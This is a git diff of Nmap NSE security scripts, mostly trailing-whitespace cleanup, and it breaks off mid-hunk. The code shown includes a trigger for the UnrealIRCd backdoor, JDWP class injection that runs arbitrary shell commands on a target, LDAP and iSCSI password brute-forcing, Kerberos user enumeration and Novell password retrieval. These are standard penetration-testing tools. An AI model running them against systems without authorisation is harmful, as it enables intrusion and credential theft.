irc-unrealircd-backdoor.kill If set to 1 or true, kill the backdoored UnrealIRCd running. +-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). -- -- @output -- PORT STATE SERVICE -- 6667/tcp open irc -- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277 --- +-- author = "Vlatko Kosturjak, Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -73,7 +73,7 @@ action = function(host, port) -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable. -- I defined the furdge as 1 second, for now, just because of rounding issues. In practice, - -- the actual delay should never be shorter than the given delay, only longer. + -- the actual delay should never be shorter than the given delay, only longer. local delay_fudge = 1 -- We send this command on connection because comm.tryssl needs to send @@ -81,15 +81,15 @@ action = function(host, port) -- initialization. local noop_command = "TIME" - -- The 'AB' sequence triggers the backdoor to run a command. + -- The 'AB' sequence triggers the backdoor to run a command. local trigger = "AB" -- We define a highly unique variable as a type of 'ping' -- it lets us see when our -- command returns. Typically, asynchronous data will be received after the initial - -- connection -- this lets us ignore that extra data. + -- connection -- this lets us ignore that extra data. local unique = "SOMETHINGUNIQUE" - -- On Linux, do a simple sleep command. + -- On Linux, do a simple sleep command. local command_linux = "sleep " .. delay -- Set up an extra command, if the user requested one @@ -102,11 +102,11 @@ action = function(host, port) -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want - -- to add 1 to the delay because the first ping happens instantly. + -- to add 1 to the delay because the first ping happens instantly. -- -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly -- not vulnerable. However, it's possible that some odd person may have compiled it - -- from the vulnerable sourcecode, so we check for it anyways. + -- from the vulnerable sourcecode, so we check for it anyways. local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1" -- Put together the full command @@ -170,7 +170,7 @@ action = function(host, port) else -- If the server unexpectedly closes the connection, it -- is usually related to throttling. Therefore, we - -- print a throttling warning. + -- print a throttling warning. stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response) socket:close() return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)." diff --git a/scripts/iscsi-brute.nse b/scripts/iscsi-brute.nse index 077a1996d..faff780c2 100644 --- a/scripts/iscsi-brute.nse +++ b/scripts/iscsi-brute.nse @@ -12,7 +12,7 @@ Performs brute force password auditing against iSCSI targets. -- @output -- PORT STATE SERVICE -- 3260/tcp open iscsi syn-ack --- | iscsi-brute: +-- | iscsi-brute: -- | Accounts -- | user:password123456 => Valid credentials -- | Statistics @@ -30,7 +30,7 @@ categories = {"intrusive", "brute"} portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"}) Driver = { - + new = function(self, host, port) local o = {} setmetatable(o, self) @@ -40,22 +40,22 @@ Driver = { o.target = stdnse.get_script_args('iscsi-brute.target') return o end, - + connect = function( self ) self.helper = iscsi.Helper:new( self.host, self.port ) return self.helper:connect() end, - + login = function( self, username, password ) local status = self.helper:login( self.target, username, password, "CHAP") - + if ( status ) then return true, brute.Account:new(username, password, creds.State.VALID) end - + return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function( self ) self.helper:close() end, @@ -68,7 +68,7 @@ action = function( host, port ) if ( not(target) ) then return "ERROR: No target specified (see iscsi-brute.target)" end - + local helper = iscsi.Helper:new( host, port ) local status, err = helper:connect() if ( not(status) ) then return false, "Failed to connect" end diff --git a/scripts/iscsi-info.nse b/scripts/iscsi-info.nse index a9fff0123..93ea48e6e 100644 --- a/scripts/iscsi-info.nse +++ b/scripts/iscsi-info.nse @@ -11,14 +11,14 @@ Collects and displays information from remote iSCSI targets. -- @output -- PORT STATE SERVICE -- 3260/tcp open iscsi --- | iscsi-info: +-- | iscsi-info: -- | iqn.2006-01.com.openfiler:tsn.c8c08cad469d -- | Target address: 192.168.56.5:3260,1 -- | Authentication: NOT required -- | iqn.2006-01.com.openfiler:tsn.6aea7e052952 -- | Target address: 192.168.56.5:3260,1 -- |_ Authentication: required --- +-- -- Version 0.2 -- Created 2010/11/18 - v0.1 - created by Patrik Karlsson @@ -39,7 +39,7 @@ portrule = shortport.portnumber(3260, "tcp", {"open", "open|filtered"}) local function requiresAuth( host, port, target ) local helper = iscsi.Helper:new( host, port ) local errors = iscsi.Packet.LoginResponse.Errors - + local status, err = helper:connect() if ( not(status) ) then return false, "Failed to connect" end @@ -51,7 +51,7 @@ local function requiresAuth( host, port, target ) -- try to logout status = helper:logout() end - + status = helper:close() return true, "Authentication successful" @@ -60,7 +60,7 @@ end action = function( host, port ) local helper = iscsi.Helper:new( host, port ) - + local status = helper:connect() if ( not(status) ) then stdnse.print_debug("%s: failed to connect to server", SCRIPT_NAME ) @@ -75,7 +75,7 @@ action = function( host, port ) end status = helper:logout() status = helper:close() - + local result = {} for _, record in ipairs(records) do local result_part = {} @@ -83,7 +83,7 @@ action = function( host, port ) for _, addr in ipairs( record.addr ) do table.insert(result_part, ("Address: %s"):format(addr) ) end - + local status, err = requiresAuth( host, port, record.name ) if ( not(status) ) then table.insert(result_part, "Authentication: " .. err ) @@ -91,6 +91,6 @@ action = function( host, port ) table.insert(result_part, "Authentication: No authentication required") end table.insert(result, result_part) - end + end return stdnse.format_output( true, result ) end diff --git a/scripts/isns-info.nse b/scripts/isns-info.nse index 8275fbf93..4b50533db 100644 --- a/scripts/isns-info.nse +++ b/scripts/isns-info.nse @@ -16,7 +16,7 @@ Service (iSNS). -- @output -- PORT STATE SERVICE -- 3205/tcp open unknown --- | isns-info: +-- | isns-info: -- | Portal -- | ip port -- | 192.168.0.1 3260/tcp @@ -41,11 +41,11 @@ action = function(host, port) if ( not(helper:connect()) ) then return fail("Failed to connect to server") end - + local status, portals = helper:listPortals() if ( not(status) ) then return - end + end local results = {} local restab = tab.new(2) @@ -53,19 +53,19 @@ action = function(host, port) for _, portal in ipairs(portals) do tab.addrow(restab, portal.addr, ("%d/%s"):format(portal.port, portal.proto)) end - table.insert(results, { name = "Portal", tab.dump(restab) }) - + table.insert(results, { name = "Portal", tab.dump(restab) }) + local status, nodes = helper:listISCINodes() if ( not(status) ) then return - end + end restab = tab.new(2) tab.addrow(restab, "node", "type") for _, portal in ipairs(nodes) do tab.addrow(restab, portal.name, portal.type) end - table.insert(results, { name = "iSCSI Nodes", tab.dump(restab) }) + table.insert(results, { name = "iSCSI Nodes", tab.dump(restab) }) return stdnse.format_output(true, results) end diff --git a/scripts/jdwp-exec.nse b/scripts/jdwp-exec.nse index ef779b281..08591c91f 100644 --- a/scripts/jdwp-exec.nse +++ b/scripts/jdwp-exec.nse @@ -13,8 +13,8 @@ remote code execution. This script abuses this to inject and execute a Java class file that executes the supplied shell command and returns its output. -The script injects the JDWPSystemInfo class from -nselib/jdwp-class/ and executes its run() method which +The script injects the JDWPSystemInfo class from +nselib/jdwp-class/ and executes its run() method which accepts a shell command as its argument. ]] @@ -24,7 +24,7 @@ accepts a shell command as its argument. -- -- @args jdwp-exec.cmd Command to execute on the remote system. -- --- @output +-- @output -- PORT STATE SERVICE REASON -- 2010/tcp open search syn-ack -- | jdwp-exec: @@ -52,10 +52,10 @@ action = function(host, port) return nil end - -- read .class file + -- read .class file local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb") local class_bytes = file:read("*all") - + -- inject the class local injectedClass status,injectedClass = jdwp.injectClass(socket,class_bytes) @@ -65,14 +65,14 @@ action = function(host, port) end -- find injected class method local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) - + if runMethodID == nil then stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) return stdnse.format_output(false, "Couldn't find run method.") - end - -- set run() method argument + end + -- set run() method argument local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') - if cmd == nil then + if cmd == nil then return stdnse.format_output(false, "This script requires a cmd argument to be specified.") end local cmdID @@ -83,15 +83,15 @@ action = function(host, port) end local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag -- invoke run method - local result - status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs) + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs) if not status then stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) return stdnse.format_output(false, result) end -- get the result string local _,_,stringID = bin.unpack(">CL",result) - status,result = jdwp.readString(socket,0,stringID) - return stdnse.format_output(status,result) + status,result = jdwp.readString(socket,0,stringID) + return stdnse.format_output(status,result) end diff --git a/scripts/jdwp-info.nse b/scripts/jdwp-info.nse index 627412d59..52e9bf5a8 100644 --- a/scripts/jdwp-info.nse +++ b/scripts/jdwp-info.nse @@ -13,7 +13,7 @@ and achieve remote code execution. This script injects and execute a Java class file that returns remote system information. ]] -author = "Aleksandar Nikolic" +author = "Aleksandar Nikolic" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default","safe","discovery"} @@ -59,10 +59,10 @@ action = function(host, port) return nil end - -- read .class file + -- read .class file local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb") local class_bytes = file:read("*all") - + -- inject the class local injectedClass status,injectedClass = jdwp.injectClass(socket,class_bytes) @@ -72,23 +72,23 @@ action = function(host, port) end -- find injected class method local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) - + if runMethodID == nil then stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) return stdnse.format_output(false, "Couldn't find run method.") - end - + end + -- invoke run method - local result - status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) if not status then stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) return stdnse.format_output(false, result) end -- get the result string local _,_,stringID = bin.unpack(">CL",result) - status,result = jdwp.readString(socket,0,stringID) - -- parse results - return stdnse.format_output(status,result) + status,result = jdwp.readString(socket,0,stringID) + -- parse results + return stdnse.format_output(status,result) end diff --git a/scripts/jdwp-inject.nse b/scripts/jdwp-inject.nse index 015ac92fa..5997203cc 100644 --- a/scripts/jdwp-inject.nse +++ b/scripts/jdwp-inject.nse @@ -46,14 +46,14 @@ action = function(host, port) return nil end - -- read .class file + -- read .class file local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') if filename == nil then return stdnse.format_output(false, "This script requires a .class file to inject.") end - local file = io.open(nmap.fetchfile(filename) or filename, "rb") + local file = io.open(nmap.fetchfile(filename) or filename, "rb") local class_bytes = file:read("*all") - + -- inject the class local injectedClass status,injectedClass = jdwp.injectClass(socket,class_bytes) @@ -67,19 +67,19 @@ action = function(host, port) if runMethodID == nil then stdnse.print_debug(1, "%s: Couldn't find run method", SCRIPT_NAME) return stdnse.format_output(false, "Couldn't find run method.") - end - + end + -- invoke run method - local result - status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) if not status then stdnse.print_debug(1, "%s: Couldn't invoke run method", SCRIPT_NAME) return stdnse.format_output(false, result) end -- get the result string local _,_,stringID = bin.unpack(">CL",result) - status,result = jdwp.readString(socket,0,stringID) - -- parse results - return stdnse.format_output(status,result) + status,result = jdwp.readString(socket,0,stringID) + -- parse results + return stdnse.format_output(status,result) end diff --git a/scripts/jdwp-version.nse b/scripts/jdwp-version.nse index 4fdceeccf..e697076be 100644 --- a/scripts/jdwp-version.nse +++ b/scripts/jdwp-version.nse @@ -9,10 +9,10 @@ to be debugged via the network. It should not be open to the public Internet, as it does not provide any security against malicious attackers who can inject their own bytecode into the debugged process. -Documentation for JDWP is available at +Documentation for JDWP is available at http://java.sun.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html ]] -author = "Michael Schierl " +author = "Michael Schierl " license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"version"} diff --git a/scripts/krb5-enum-users.nse b/scripts/krb5-enum-users.nse index a44a0f558..bdddcac5c 100644 --- a/scripts/krb5-enum-users.nse +++ b/scripts/krb5-enum-users.nse @@ -27,7 +27,7 @@ It needs a valid Kerberos REALM in order to operate. -- @output -- PORT STATE SERVICE REASON -- 88/tcp open kerberos-sec syn-ack --- | krb5-enum-users: +-- | krb5-enum-users: -- | Discovered Kerberos principals -- | administrator@test -- | mysql@test @@ -122,9 +122,9 @@ KRB5 = { ["A6"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, ["A7"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, ["A8"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, - ["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, - ["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, - ["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, + ["A9"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, + ["AA"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, + ["AC"] = function( ... ) return KRB5.tagDecoder["6B"](...) end, }, @@ -152,7 +152,7 @@ KRB5 = { -- Encodes a sequence using a custom type -- @param encoder class containing an instance of a ASN1Encoder -- @param seqtype number the sequence type to encode - -- @param seq string containing the sequence to encode + -- @param seq string containing the sequence to encode encodeSequence = function(self, encoder, seqtype, seq) return encoder:encode( { _type = seqtype, seq } ) end, @@ -166,7 +166,7 @@ KRB5 = { local princ = "" for _, n in ipairs(names) do - princ = princ .. encoder:encode( { _type = 'GeneralString', n } ) + princ = princ .. encoder:encode( { _type = 'GeneralString', n } ) end princ = self:encodeSequence(encoder, 0x30, princ) @@ -308,21 +308,21 @@ local function checkUser( host, port, realm, user ) socket:send(data) status, data = socket:receive() - + if ( port.protocol == 'tcp' ) then data = data:sub(5) end - + if ( not(status) ) then return false, "ERROR: Failed to receive result from Kerberos service" end socket:close() - + local msg status, msg = krb5:parseResult(data) if ( not(status) ) then return false, "ERROR: Failed to parse the result returned from the Kerberos service" end - + if ( msg and msg.error_code ) then if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then return true, "VALID" @@ -379,14 +379,14 @@ action = function( host, port ) -- load our user database from unpwdb local status, usernames = unpwdb.usernames() if( not(status) ) then return "ERROR: Failed to load unpwdb usernames" end - + -- start as many threads as there are names in the list local threads = {} for user in usernames do local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result ) threads[co] = true end - + -- wait for all threads to finish up repeat for t in pairs(threads) do @@ -396,7 +396,7 @@ action = function( host, port ) condvar "wait" end until( next(threads) == nil ) - + if ( #result > 0 ) then result = { name = "Discovered Kerberos principals", result } end diff --git a/scripts/ldap-brute.nse b/scripts/ldap-brute.nse index b393e1264..178f477f4 100644 --- a/scripts/ldap-brute.nse +++ b/scripts/ldap-brute.nse @@ -15,7 +15,7 @@ own lists use the userdb and passdb script arguments. This script does not make any attempt to prevent account lockout! If the number of passwords in the dictionary exceed the amount of -allowed tries, accounts will be locked out. This usually happens +allowed tries, accounts will be locked out. This usually happens very quickly. Authenticating against Active Directory using LDAP does not use the @@ -37,7 +37,7 @@ This script uses some AD-specific support and optimizations: -- -- @output -- 389/tcp open ldap --- | ldap-brute: +-- | ldap-brute: -- |_ ldaptest:ldaptest => Valid credentials -- | restrict.ws:restricted1 => Valid credentials, account cannot log in from current host -- | restrict.time:restricted1 => Valid credentials, account cannot log in at current time @@ -47,21 +47,21 @@ This script uses some AD-specific support and optimizations: -- |_ must.change:need2change => Valid credentials, password must be changed at next logon -- -- @args ldap.base If set, the script will use it as a base for the password --- guessing attempts. If both ldap.base and ldap.upnsuffix are unset the user +-- guessing attempts. If both ldap.base and ldap.upnsuffix are unset the user -- list must either contain the distinguished name of each user or the server --- must support authentication using a simple user name. See the AD discussion --- in the description. DO NOT use ldap.upnsuffix in conjunction with ldap.base +-- must support authentication using a simple user name. See the AD discussion +-- in the description. DO NOT use ldap.upnsuffix in conjunction with ldap.base -- as attempts to login will fail. -- --- @args ldap.upnsuffix If set, the script will append this suffix value to the username +-- @args ldap.upnsuffix If set, the script will append this suffix value to the username -- to create a User Principle Name (UPN). For example if the ldap.upnsuffix value were --- 'mycompany.com' and the username being tested was 'pete' then this script would +-- 'mycompany.com' and the username being tested was 'pete' then this script would -- attempt to login as 'pete@mycompany.com'. This setting should only have value -- when running the script against a Microsoft Active Directory LDAP implementation. -- When the UPN is known using this setting should provide more reliable results -- against domains that have been organized into various OUs or child domains. -- If both ldap.base and ldap.upnsuffix are unset the user list must either contain --- the distinguished name of each user or the server must support authentication +-- the distinguished name of each user or the server must support authentication -- using a simple user name. See the AD discussion in the description. -- DO NOT use ldap.upnsuffix in conjunction with ldap.base as attempts to login -- will fail. @@ -97,14 +97,14 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"}) -- @param socket socket already connected to LDAP server -- @return string containing a valid naming context function get_naming_context( socket ) - + local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } } - local status, searchResEntries = ldap.searchRequest( socket, req ) - + local status, searchResEntries = ldap.searchRequest( socket, req ) + if not status then return nil end - + local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" ) -- OpenLDAP does not have a defaultNamingContext @@ -115,7 +115,7 @@ function get_naming_context( socket ) if contexts and #contexts > 0 then return contexts[1] end - + return nil end @@ -126,36 +126,36 @@ end -- @return true if credentials are valid and search was a success, false if not. function is_valid_credential( socket, context ) local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil } - local status, searchResEntries = ldap.searchRequest( socket, req ) + local status, searchResEntries = ldap.searchRequest( socket, req ) return status end action = function( host, port ) - local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {} + local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {} local usernames, passwords, username, password, fq_username local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0 - + local clock_start = nmap.clock_ms() - + local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) - + local base_dn = stdnse.get_script_args('ldap.base') local upn_suffix = stdnse.get_script_args('ldap.upnsuffix') - + local output_type = stdnse.get_script_args('ldap.savetype') - + local output_prefix = nil if ( stdnse.get_script_args('ldap.saveprefix') ) then output_prefix = stdnse.get_script_args('ldap.saveprefix') elseif ( output_type ) then output_prefix = "ldap-brute" end - + local credTable = creds.Credentials:new(SCRIPT_NAME, host, port) - + if not socket then return end @@ -168,25 +168,25 @@ action = function( host, port ) if not status then return end - + context = get_naming_context(socket) - + if not context then stdnse.print_debug("Failed to retrieve namingContext") socket:close() return end - + status, usernames = unpwdb.usernames() if not status then return end - + status, passwords = unpwdb.passwords() if not status then return end - + for username in usernames do -- if a base DN was set append our username (CN) to the base if base_dn then @@ -196,10 +196,10 @@ action = function( host, port ) else fq_username = username end - - + + user_cnt = user_cnt + 1 - for password in passwords do + for password in passwords do tot_tries = tot_tries + 1 -- handle special case where we want to guess the username as password @@ -216,7 +216,7 @@ action = function( host, port ) invalid_account_cnt = invalid_account_cnt + 1 break end - + -- Is AD telling us the account does not exist? if not status and response:match("AcceptSecurityContext error, data 525,") then invalid_account_cnt = invalid_account_cnt + 1 @@ -246,7 +246,7 @@ action = function( host, port ) credTable:add(fq_username,password, creds.State.CHANGEPW) break end - + -- Login correct, user account expired if not status and response:match("AcceptSecurityContext error, data 701,") then table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "" ) ) @@ -254,7 +254,7 @@ action = function( host, port ) credTable:add(fq_username,password, creds.State.EXPIRED) break end - + -- Login correct, user account logon time restricted if not status and response:match("AcceptSecurityContext error, data 530,") then table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "" ) ) @@ -262,7 +262,7 @@ action = function( host, port ) credTable:add(fq_username,password, creds.State.TIME_RESTRICTED) break end - + -- Login correct, user account can only log in from certain workstations if not status and response:match("AcceptSecurityContext error, data 531,") then table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "" ) ) @@ -280,13 +280,13 @@ action = function( host, port ) -- Add credentials for other ldap scripts to use if nmap.registry.ldapaccounts == nil then nmap.registry.ldapaccounts = {} - end + end nmap.registry.ldapaccounts[fq_username]=password credTable:add(fq_username,password, creds.State.VALID) - + break end - end + end end passwords("reset") end @@ -296,9 +296,9 @@ action = function( host, port ) if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then return "WARNING: All usernames were invalid. Invalid LDAP base?" end - - - + + + if output_prefix then local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number status, err = credTable:saveToFile(output_file,output_type) @@ -312,7 +312,7 @@ action = function( host, port ) else output = stdnse.format_output(true, valid_accounts) or "" end - + return output end diff --git a/scripts/ldap-novell-getpass.nse b/scripts/ldap-novell-getpass.nse index 40a1fdbcb..e0929f812 100644 --- a/scripts/ldap-novell-getpass.nse +++ b/scripts/ldap-novell-getpass.nse @@ -12,7 +12,7 @@ administrative account. ]] --- --- Universal Password enables advanced password policies, including extended +-- Universal Password enables advanced password policies, including extended -- characters in passwords, synchronization of passwords from eDirectory to -- other systems, and a single password for all access to eDirectory. -- @@ -26,7 +26,7 @@ administrative account. -- to the server -- @args ldap-novell-getpass.password The LDAP password to use when connecting -- to the server --- +-- -- @usage -- nmap -p 636 --script ldap-novell-getpass --script-args \ -- 'ldap-novell-getpass.username="CN=admin,O=cqure", \ @@ -36,8 +36,8 @@ administrative account. -- @output -- PORT STATE SERVICE REASON -- 636/tcp open ldapssl syn-ack --- | ldap-novell-getpass: --- | Account: CN=patrik,OU=security,O=cqure +-- | ldap-novell-getpass: +-- | Account: CN=patrik,OU=security,O=cqure -- |_ Password: foobar -- @@ -78,8 +78,8 @@ function action(host,port) if ( not(socket) ) then return "\n ERROR: Failed to connect to LDAP server" end - - local status, errmsg = ldap.bindRequest( socket, { + + local status, errmsg = ldap.bindRequest( socket, { version = 3, username = username, password = password @@ -93,7 +93,7 @@ function action(host,port) local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14" -- Add a trailing zero to the account name local data = ldap.encode( account .. '\0' ) - + -- The following section could do with more documentation -- It's based on packet dumps from the getpass utility available from Novell Cool Solutions -- encode the account name as a sequence @@ -107,25 +107,25 @@ function action(host,port) status = socket:send(data) if ( not(status) ) then return "ERROR: Failed to send request" end - + status, data = socket:receive() if ( not(status) ) then return data end socket:close() - + local _, response = ldap.decode(data) -- make sure the result code was a success local rescode = ( #response >= 2 ) and response[2] local respname = ( #response >= 5 ) and response[5] - if ( rescode ~= 0 ) then + if ( rescode ~= 0 ) then local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occured" return "\n ERROR: " .. errmsg end -- make sure we get a NMAS Get Password Response back from the server if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end - + local universal_pw = ( #response >= 6 and #response[6] >= 3 ) and response[6][3] if ( universal_pw ) then diff --git a/scripts/ldap-rootdse.nse b/scripts/ldap-rootdse.nse index 68cd8827d..877194947 100644 --- a/scripts/ldap-rootdse.nse +++ b/scripts/ldap-rootdse.nse @@ -17,7 +17,7 @@ Retrieves the LDAP root DSA-specific Entry (DSE) -- @output -- PORT STATE SERVICE -- 389/tcp open ldap --- | ldap-rootdse: +-- | ldap-rootdse: -- | currentTime: 20100112092616.0Z -- | subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cqure,DC=net -- | dsServiceName: CN=NTDS Settings,CN=LDAPTEST001,CN=Servers,CN=Default-First-Site,CN=Sites,CN=Configuration,DC=cqure,DC=net @@ -69,7 +69,7 @@ Retrieves the LDAP root DSA-specific Entry (DSE) -- -- The root DSE object may contain a number of different attributes as described in RFC 2251 section 3.4: -- * namingContexts: naming contexts held in the server --- * subschemaSubentry: subschema entries (or subentries) known by this server +-- * subschemaSubentry: subschema entries (or subentries) known by this server -- * altServer: alternative servers in case this one is later unavailable. -- * supportedExtension: list of supported extended operations. -- * supportedControl: list of supported controls. @@ -77,7 +77,7 @@ Retrieves the LDAP root DSA-specific Entry (DSE) -- * supportedLDAPVersion: LDAP versions implemented by the server. -- -- The above example, which contains a lot more information is from Windows 2003 accessible without authentication. --- The same request against OpenLDAP will result in significantly less information. +-- The same request against OpenLDAP will result in significantly less information. -- -- The ldap-search script queries the root DSE for the namingContexts and/or defaultNamingContexts, which it sets as base -- if no base object was specified @@ -102,13 +102,13 @@ function action(host,port) local socket = nmap.new_socket() local status, searchResEntries, req, result, opt - + -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server -- An anonymous bind should do it local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local _ socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) - + if not socket then return end @@ -117,17 +117,17 @@ function action(host,port) socket:close() status = socket:connect(host, port, opt) socket:set_timeout(10000) - + -- Searching for an empty argument list against LDAP on W2K3 returns all attributes -- This is not the case for OpenLDAP, so we do a search for an empty attribute list -- Then we compare the results against some known and expected returned attributes req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default } status, searchResEntries = ldap.searchRequest( socket, req ) - + -- Check if we were served all the results or not? if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then - + -- The namingContexts was not there, try to query all attributes instead -- Attributes extracted from Windows 2003 and complemented from RFC local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext", @@ -136,19 +136,19 @@ function action(host,port) "rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry", "supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion", "supportedSASLMechanisms", "altServer", "supportedExtension"} - + req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs } - status, searchResEntries = ldap.searchRequest( socket, req ) + status, searchResEntries = ldap.searchRequest( socket, req ) end - + if not status then socket:close() return end - + result = ldap.searchResultToTable( searchResEntries ) socket:close() - + -- if taken a way and ldap returns a single result, it ain't shown.... result.name = "LDAP Results" diff --git a/scripts/ldap-search.nse b/scripts/ldap-search.nse index 6e4731d1a..47fb93dbc 100644 --- a/scripts/ldap-search.nse +++ b/scripts/ldap-search.nse @@ -27,9 +27,9 @@ anonymous bind will be used as a last attempt. -- If no defaultNamingContext is available the script iterates over the available namingContexts -- @args ldap.attrib If set, the search will include only the attributes specified. For a single attribute a string value can be used, if -- multiple attributes need to be supplied a table should be used instead. --- @args ldap.maxobjects If set, overrides the number of objects returned by the script (default 20). +-- @args ldap.maxobjects If set, overrides the number of objects returned by the script (default 20). -- The value -1 removes the limit completely. --- @args ldap.savesearch If set, the script will save the output to a file beginning with the specified path and name. The file suffix +-- @args ldap.savesearch If set, the script will save the output to a file beginning with the specified path and name. The file suffix -- of .CSV as well as the hostname and port will automatically be added based on the output type selected. -- -- @usage @@ -42,7 +42,7 @@ anonymous bind will be used as a last attempt. -- @output -- PORT STATE SERVICE REASON -- 389/tcp open ldap syn-ack --- | ldap-search: +-- | ldap-search: -- | DC=cqure,DC=net -- | dn: CN=Administrator,CN=Users,DC=cqure,DC=net -- | sAMAccountName: Administrator @@ -60,7 +60,7 @@ anonymous bind will be used as a last attempt. -- | sAMAccountName: VMABUSEXP008$ -- | dn: CN=ldaptest,CN=Users,DC=cqure,DC=net -- |_ sAMAccountName: ldaptest --- +-- -- -- PORT STATE SERVICE REASON -- 389/tcp open ldap syn-ack @@ -76,7 +76,7 @@ anonymous bind will be used as a last attempt. -- |_ operatingSystemServicePack: Service Pack 1 --- Credit +-- Credit -- ------ -- o Martin Swende who provided me with the initial code that got me started writing this. @@ -104,7 +104,7 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"}) function action(host,port) local status - local socket, opt + local socket, opt local args = nmap.registry.args local username = stdnse.get_script_args('ldap.username') local password = stdnse.get_script_args('ldap.password') @@ -123,11 +123,11 @@ function action(host,port) local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local _ socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) - + if not socket then return end - + -- Check if ldap-brute stored us some credentials if ( not(username) and nmap.registry.ldapaccounts~=nil ) then accounts = nmap.registry.ldapaccounts @@ -137,17 +137,17 @@ function action(host,port) socket:close() status = socket:connect(host, port, opt) socket:set_timeout(10000) - + local req local searchResEntries local contexts = {} - local result = {} + local result = {} local filter if base == nil then req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } } status, searchResEntries = ldap.searchRequest( socket, req ) - + if not status then socket:close() return @@ -172,7 